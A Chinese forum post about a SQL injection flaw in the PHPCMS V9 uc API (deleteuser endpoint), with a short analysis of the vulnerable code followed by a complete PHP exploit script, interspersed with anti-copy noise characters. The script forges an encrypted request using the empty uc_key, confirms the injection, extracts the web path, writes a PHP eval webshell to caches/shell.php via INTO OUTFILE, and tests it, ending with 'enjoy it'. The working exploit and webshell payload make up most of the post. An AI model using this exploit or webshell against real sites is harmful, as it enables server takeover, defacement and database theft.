找回密码
 立即注册
查看: 2452|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
9 V& y; E7 b; P; L5 c' C
' g7 d' L" @6 [所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
3 c/ z) ^& w( a- [7 O$ V, o" {5 ~; C
漏洞分析:: A- N& ~, |* H/ @1 P1 \
1.未启用ucenter服务的情况下uc_key为空
( l( O8 q6 m- l# J4 o2 jdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));1 |4 y: e2 F7 ?) G7 ~
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。5 v7 t- J6 Q' G  ~
    public function deleteuser($get,$post) {
) S. \, O1 ?+ O. z' v        pc_base::load_app_func('global', 'admin');
  T1 `9 o$ k7 ^3 ?. b4 C8 J- j        pc_base::load_app_class('messagequeue', 'admin' , 0);, _9 C2 \  w  l! S8 b
        $ids = new_stripslashes($get['ids']);
0 e' e1 _) R3 ^* Q8 Y- T: j        $s = $this->member_db->select("ucuserid in ($ids)", "uid");: N6 M" b! a& l% t  d6 S8 }
SQL语句为
( Y% F7 L& u/ m( y7 ?SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)2 M1 s( X+ W. |4 p# r9 u7 W! V

& W5 z; z, f4 k2 s利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell5 y/ F6 f. f; B
<?php
3 [0 b3 X0 k& J) v  l7 A2 t* oprint_r('
# w# q( S0 a" |! ^( m---------------------------------------------------------------------------
  n! N0 I5 H: ?6 kPHPcms (v9 or Old Version) uc api sql injection 0day
/ d1 {9 R5 S% mby rayh4c#80sec.com7 `& L. ?8 X3 o" }, ?& X3 c' V; _
---------------------------------------------------------------------------
# P4 r1 D' @7 n& z) ^; q. O');
3 x4 L/ h' M4 H$ m
6 F- Y$ {$ |2 @5 H! w: Kif ($argc<3) {2 D; S. S) I& M+ v- j% v0 Q, I- s
    print_r('! n" J" m: C. S% i7 U
---------------------------------------------------------------------------
7 p9 c0 `( e. ~7 NUsage: php '.$argv[0].' host path OPTIONS
! i" d' n' M  F. j* K! zhost:      target server (ip/hostname). E) l: z0 Z& a
path:      path to phpcms
. g+ u& t$ _4 ]$ |0 Z* z( Y2 r  DOptions:
" y8 _& C& B+ B$ B' z -p[port]:    specify a port other than 80; L5 r1 K, _8 S& A
-P[ip:port]: specify a proxy
' q7 K9 C3 g* @3 r+ I4 V) JExample:
$ T' P* `4 x; @3 {, c( H# Zphp '.$argv[0].' localhost /! \4 k3 v, q9 K, D
php '.$argv[0].' localhost /phpcms/ -p81
7 }1 U( X+ T2 o# @! K  Uphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80) G9 |/ D7 C. h3 V) |) K
---------------------------------------------------------------------------
; R% \7 W. R" o3 X+ q4 }');5 W' d$ N" H/ p2 |' n
    die;7 b' d$ d2 F- h( U# F" Y7 ^6 a5 _
}/ i5 k5 H( Y5 A; B/ E5 k

$ A6 d' m; V& l: E) Z% n$ @; R% b. _error_reporting(7);! ^* l7 ?) f7 K5 n) o4 |$ X
ini_set("max_execution_time",0);
( F0 s! W9 p! R9 N% i' V' oini_set("default_socket_timeout",5);! p' t  I2 r7 F5 m. G! l$ V4 ?& |
, B$ x! T4 d  c) U) f1 e, h5 L
function quick_dump($string)
7 [: ]6 S$ @/ I& J{
5 s. N" g' }% c" `$ J9 A$ e  $result='';$exa='';$cont=0;. k! [$ P7 ^% }$ i0 t" M5 Z% \
  for ($i=0; $i<=strlen($string)-1; $i++)  b$ D4 I" n" U6 L) E
  {
* v; m- S+ G) I7 [: @; p) r- ]   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
, R9 H* V9 i* C  Y, H1 y   {$result.="  .";}, @5 }3 I: e3 _& S: m, b
   else! K/ }6 Z, @1 W9 T" c
   {$result.="  ".$string[$i];}
8 ~- v9 O0 a9 V   if (strlen(dechex(ord($string[$i])))==2)2 O2 r4 H6 C3 g8 U+ _6 p/ E
   {$exa.=" ".dechex(ord($string[$i]));}
/ Y& C$ c/ H: l3 ^" x   else' [; ^% c& A) c& P9 Y1 s. O: [* n
   {$exa.=" 0".dechex(ord($string[$i]));}
9 c$ Y& K1 V% B5 j" A, R3 R   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}* |6 N+ Y- ]% {' n0 w/ f6 |, V
  }: Q+ x/ J' s2 Q/ f
return $exa."\r\n".$result;2 v$ i+ d% `: Z% p4 `4 q9 S* }5 i& B
}
3 N4 w( w& ]: A' g$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';2 o. Q' q2 a' g4 L* B

4 d7 m9 S+ w, h; H+ afunction send($packet)
; t, u5 c  b+ W1 w; d! @{) \, C; Q% Z+ O1 A0 i
  global $proxy, $host, $port, $html, $proxy_regex;# G* X. D4 J6 Z" }% J; B% g
  if ($proxy=='') {$ F& w3 }: L- l3 C4 R' R- W
    $ock=fsockopen(gethostbyname($host),$port);
0 T5 g9 S, t7 Z: X* B" W6 d8 ?    if (!$ock) {
! p4 Z; T1 e& _      echo 'No response from '.$host.':'.$port; die;
3 X0 t9 [; |' B    }1 T, q$ p" j% ^! Z1 r; P! @. Q
  }
- g4 T: A+ [! g$ h8 O- W  else {
! m' a9 j2 B, r  J        $c = preg_match($proxy_regex,$proxy);
! Y" ]* g, F$ l% }; a- b9 z    if (!$c) {
0 W8 e8 g" Q, j* D; G4 u      echo 'Not a valid proxy...';die;
% {+ b5 Z  o) ]: }: c: k. `    }
( t# A. F, x5 U8 x7 K4 i% L% w; M    $parts=explode(':',$proxy);
5 q9 [# K+ c$ [' Q, X4 c8 i    $parts[1]=(int)$parts[1];% [$ O2 Y) }$ \
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
/ k3 g7 \8 e( G3 r$ k* {    $ock=fsockopen($parts[0],$parts[1]);
$ {5 [2 n, H2 r/ I" ?/ d    if (!$ock) {
% u" g( H# x# E& r3 P      echo 'No response from proxy...';die;8 m5 {: |, k0 o7 q6 K
        }1 Y4 x0 R% E/ n/ X, b8 ?- Y
  }
% p; _3 D7 m" |; z2 q  fputs($ock,$packet);
" G! E, R8 @7 ?  x& r  if ($proxy=='') {6 u; A& ^3 |) T- {' q
    $html='';, n) N! A+ }% D$ D8 v
    while (!feof($ock)) {) O( U' r; U) p
      $html.=fgets($ock);+ l% L0 a% r9 g& A
    }- B4 |3 k* U- o2 f
  }
5 {' ^* a  ], @- N6 c  else {
9 f) I& H1 y- J1 v7 U8 D" ~    $html='';0 e$ F0 b% K: _' J, {
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {. g) K9 }) D+ s1 J9 ?/ A$ ~+ O
      $html.=fread($ock,1);
9 [3 G5 }4 b8 k* `! L9 `' s    }1 H: g6 B8 L& W# M5 s
  }
$ W0 h7 m2 x5 d; `2 r) i  fclose($ock);
- H9 w4 l9 r  j}( U( M+ O6 l2 a# I* `
- l8 y7 f! K7 Z% ^* X2 I
$host=$argv[1];& L) y, ~8 ~, B! Q5 s4 @1 b8 X; y$ k
$path=$argv[2];
) o) B( f9 K3 d2 p2 \" ]: d$port=80;) _4 H" ^1 J  s2 ?: ^; F
$proxy="";
9 C0 z: o! V% Zfor ($i=3; $i<$argc; $i++){. b- V% P, L; f
$temp=$argv[$i][0].$argv[$i][1];
; W0 j; a% g) kif ($temp=="-p")
5 Y' ^. i0 J+ d. f1 q7 o/ w{" [3 J, d+ ^3 H$ K
  $port=(int)str_replace("-p","",$argv[$i]);
  E, ~& c  g/ G0 j}; n: E, q  \1 G9 I) Z) N+ `
if ($temp=="-P")2 `- A- M+ v- k& h
{4 O( Y( t/ o. u7 i+ ?- [6 h
  $proxy=str_replace("-P","",$argv[$i]);8 g( V9 o$ E2 |7 g  O4 @
}& x% e0 \, w% @- E& M5 N
}
  P  N* ]& j- X
, _; ?" s, W9 I( @% C6 Jif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}+ x0 f8 c/ C' R
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}0 o/ B* d- M8 k0 M$ H: E$ N

2 S$ S# Y4 a  {/ S- zfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
! w6 \0 ?5 l+ f; a% c7 ?5 L& v) f9 j1 ?9 ^4 s" G% r2 t  K
    $ckey_length = 4;
" O8 H! |( J! D: _8 z) }9 h2 ?. }# W: @8 _* j( U
    $key = md5($key ? $key : '');
$ ^& c, s" I5 V' L9 |' R    $keya = md5(substr($key, 0, 16));  o$ R4 c3 u( L, S4 ?& ~, P+ `
    $keyb = md5(substr($key, 16, 16));. Y3 y( k8 ^) j  ^
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';3 |: J1 v4 c( G* w% g- i

; W, g" V; e- V1 i( M    $cryptkey = $keya.md5($keya.$keyc);/ N9 K/ L2 p, z; \3 B: Q
    $key_length = strlen($cryptkey);% `9 A* [' u& W3 [% `

* u" S6 w" }9 K$ N/ Q. D    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;' @' u+ k( _! I8 `* F6 K5 y% h
    $string_length = strlen($string);0 n  \, w2 U) S4 l& N) D
) z  C' ^2 p% P* j- i% k& f* ^/ ]4 M
    $result = '';
8 E9 L  E6 w; U8 j    $box = range(0, 255);; H5 Y8 d9 R9 Z

- _( r( ~; A" x2 Y    $rndkey = array();% d2 }3 R8 O# J' Q8 H9 |9 E
    for($i = 0; $i <= 255; $i++) {' T* o8 R8 ~1 d; N9 m4 m
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
: Z# g2 L4 g: S/ J    }
2 h; E0 p! O  {( x0 Z
$ q6 R" s7 F) t    for($j = $i = 0; $i < 256; $i++) {/ E+ V4 R) t, F& n4 ]+ a  Q' }$ e5 H
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;  A1 ~7 W$ \+ a' K" A/ g  V: f
        $tmp = $box[$i];
5 ?: Y3 g  y  I. g$ Z, _; d; i        $box[$i] = $box[$j];
: }$ I6 v8 \) U6 n- V        $box[$j] = $tmp;
1 D7 L4 a; j3 y7 I; ]: D    }, M; F( A3 D4 H0 A; C
5 l$ v. O5 L$ \' B1 o+ D4 ]
    for($a = $j = $i = 0; $i < $string_length; $i++) {- ~( K) f& L2 Z. q8 q
        $a = ($a + 1) % 256;
' h/ h! a- r  ]  w        $j = ($j + $box[$a]) % 256;% O+ t! m3 I/ S4 H; x0 ]3 \
        $tmp = $box[$a];
: A5 i, b# c: J        $box[$a] = $box[$j];
3 V+ _  K9 F: X7 k/ E0 y        $box[$j] = $tmp;
. i- g, Z- E/ ]' K" ^        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));! ^* \' K# z+ H" E0 F9 ^' L( L% T  _
    }" \1 ^) {. @, M9 k$ K
! i6 ~  i  n9 }+ U) n
    if($operation == 'DECODE') {
( n: E2 ]3 v' h        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {$ k: I: s2 G7 ?: ]* ~
            return substr($result, 26);
! s' n% p9 w5 M, s3 B        } else {
  \& ?0 T* W6 B8 y: y$ n  L- A            return '';
. n" T, h) _9 H9 Y; a        }3 l: c  w  t; `6 I
    } else {; x/ ]9 Q3 d* ]1 O5 U, z
        return $keyc.str_replace('=', '', base64_encode($result));
7 h' F$ S; j# O( m" B8 w    }* s. P# ]7 P4 T, [' P5 c7 T
: |! i- j& s( z& P; a
}. D0 T' d9 z9 y7 O/ I, _; x# e

4 R2 K  ~- G& f4 B; }( m$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
6 B+ s  Q. R. L2 E! j2 N7 Z( J" I$SQL = urlencode(authcode($SQL, "ENCODE", ""));
+ J, F9 q) |+ A% x2 ~% p# |" B% [echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";4 m$ a- ^3 [/ n  E& ^7 f) V
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";, |* q, N: C# h5 n1 O
$packet.="User-Agent: Mozilla/5.0\r\n";
" z* X9 C; e. j5 E4 q$packet.="Host: ".$host."\r\n";
% t8 s; R( G  P" o) N' t9 }- k$packet.="Connection: Close\r\n\r\n";; _% U( v! S& J9 m; s( K, _6 ^/ R
send($packet);
0 v& [0 ]) X5 g3 C  Z4 Gif(strpos($html,"MySQL Errno") > 0){
+ ]5 p: V2 a; [# G* Decho "[2] 发现存在SQL注入漏洞"."\n";3 [" U* D  i% H! I: y
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
& ~6 ~& i: f7 Z- i* t+ x  J) Z$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
% a1 {6 @+ n; d$ _$packet.="User-Agent: Mozilla/5.0\r\n";) m/ k8 p0 g% q: ~+ `# y7 R9 `3 f
$packet.="Host: ".$host."\r\n";
5 v* P) h( i  g/ a& {( _/ p/ w$packet.="Connection: Close\r\n\r\n";2 k4 d' r2 ^# j* |! v6 ]" s3 |
send($packet);
& {  q  T9 N; S1 J" r) e7 T$ O7 u, Npreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);$ ]+ X* G6 L7 G( t
//print_r($matches);% y/ n1 r: w, P* S9 M. R( w0 K% F
if(!empty($matches)){4 _, a" m0 H1 k# [
echo "[4] 得到web路径 " . $matches[0]."\n";
$ Q) @" C' y* B  }" \6 g9 @/ ~echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";0 r; a5 w% b9 g  Z/ [+ m  p* X9 u) W
$SQL = "time=999999999999999999999999&ids=1)";
0 A# I- I$ F) H1 Z0 q1 N6 e$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";6 g0 J4 T( Z3 Z3 P
$SQL.="&action=deleteuser";
5 n9 {: V, ^+ l( M: F" A$SQL = urlencode(authcode($SQL, "ENCODE", ""));% c7 w/ }' N' Z& J
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";( c) v% ]# P7 s, `% y2 ]: b1 M+ D! E; e$ Q
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
% A) w. l! j: a. ~$ |$packet.="User-Agent: Mozilla/5.0\r\n";
3 |( q  `$ F) N; I$ z3 }$ j  o$packet.="Host: ".$host."\r\n";+ ^5 z/ c/ E7 ^" T
$packet.="Connection: Close\r\n\r\n";
- a: Z+ t6 G& P& B) V+ ^9 Wsend($packet);& m# Q$ |; @' G# A- Z( O% u
if(strpos($html,"Access denied") > 0){
  J' h+ F! ~- m3 z8 d0 L! Mecho "[-] MYSQL权限过低 禁止写入文件 ";6 q  J% E9 \7 v+ v% o- V% N) f
die;
9 p5 H( _, h/ d7 I+ h" K3 j}  s6 h7 }: ]* C$ z2 Z- [
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";( w* J- `' ^7 Z2 V7 j) g5 H) D* n
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";1 j! N7 `0 }! M  o6 e( s' l
$packet.="User-Agent: Mozilla/5.0\r\n";9 A2 Z0 S6 y$ T# H7 W7 |
$packet.="Host: ".$host."\r\n";( H% B6 H7 a4 n, a
$packet.="Connection: Close\r\n\r\n";
( i8 M% m# n( t) c3 H4 u: r) j* isend($packet);
0 t( ]8 T+ ~* L1 ?! L1 W& d! Xif(strpos($html,"<title>phpinfo()</title>") > 0){
$ K( c! G3 \: D8 |echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";  S: X3 |- J0 M. D( @# u: d
}; q1 u: u& S. V
}else{
0 f& [& q$ X7 V' c& V% xecho "[-]未取到web路径 ";
% B1 u/ g% ^; \: T$ o6 J}/ R% g. l) J& D6 P9 g+ P' Q
}else{
$ H0 d# F2 Z  e' oecho "[*]不存在SQL注入漏洞"."\n";
# ], O# w7 e  v; B}5 E- a: N' }$ U# Q7 V% K0 r  v( u
4 D0 S4 D3 K4 A# S2 D
?>
# X' x5 l0 ]5 p; E) E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表